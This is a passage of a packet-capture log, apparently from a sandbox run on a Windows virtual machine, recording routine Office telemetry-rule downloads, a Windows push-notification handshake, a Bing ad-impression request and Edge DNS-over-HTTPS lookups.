2024-11-28 16:24:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162437Z-174f78459688l8rvhC1EWRtzr00000000bbg000000001wqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49810	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 46 52 57 7a 6c 4d 36 71 30 61 71 42 58 6c 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 30 33 62 30 62 62 37 31 33 36 31 63 38 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0FRWzlM6q0aqBXlF.1Context: b703b0bb71361c82
2024-11-28 16:24:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 46 52 57 7a 6c 4d 36 71 30 61 71 42 58 6c 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 30 33 62 30 62 62 37 31 33 36 31 63 38 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0FRWzlM6q0aqBXlF.2Context: b703b0bb71361c82<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Z
2024-11-28 16:24:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 46 52 57 7a 6c 4d 36 71 30 61 71 42 58 6c 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 30 33 62 30 62 62 37 31 33 36 31 63 38 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 0FRWzlM6q0aqBXlF.3Context: b703b0bb71361c82<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-28 16:24:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 6f 38 2f 63 32 62 6d 58 55 79 50 61 4f 54 51 45 59 6c 6e 74 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zo8/c2bmXUyPaOTQEYlntg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49793	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:38 UTC	921	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8aEfdRlI2x0ohFQi3uztY3DVUCUxuMmdQk9f7Z6MnSfdQQwOL-imjb7BNojP1VypjR51G32IzTV3Wn6Uqz0OHQUX41f5A1eaiPkKJ16UofqneoVj-yr2F1UpIZi-SOhu5qtcxdCjCkr4y9tjvOgAHjsCUnE0KVSMdkOkKpWCxYZmivez6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D163990842d431198be7df7ccb46cb018&TIME=20241128T162424Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=2A3EEF8B4A5A68401A7CFACE4BD069C6; _EDGE_S=SID=0A96707C6C8768EF23E865396D8E690D; MR=0
2024-11-28 16:24:38 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=5szbVDtKgFGCtoUKHKiMxxM5pM5J40pDYxkqwxwInqg; domain=.bing.com; expires=Tue, 23-Dec-2025 16:24:38 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3099644E30EC4B09B5FCBE3AE9A9F5C4 Ref B: EWR30EDGE0714 Ref C: 2024-11-28T16:24:38Z Date: Thu, 28 Nov 2024 16:24:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:39 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c6635303-801e-0083-091e-41f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162439Z-174f7845968jrjrxhC1EWRmmrs0000000yv0000000006axw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162439Z-174f78459684bddphC1EWRbht40000000yeg000000005m6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162439Z-174f7845968nxc96hC1EWRspw80000000y9g00000000g75z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 22106228-c01e-007a-5d36-40b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162439Z-174f7845968xlwnmhC1EWR0sv80000000yk000000000592g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162439Z-174f7845968zgtf6hC1EWRqd8s0000000rk000000000ea32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49839	162.159.61.3	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 16:24:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 16:24:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 16:24:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9bb5a54b7680e2-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 16:24:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e5 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49840	162.159.61.3	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 16:24:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 16:24:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 16:24:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9bb5a549da0f78-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 16:24:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 09 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data 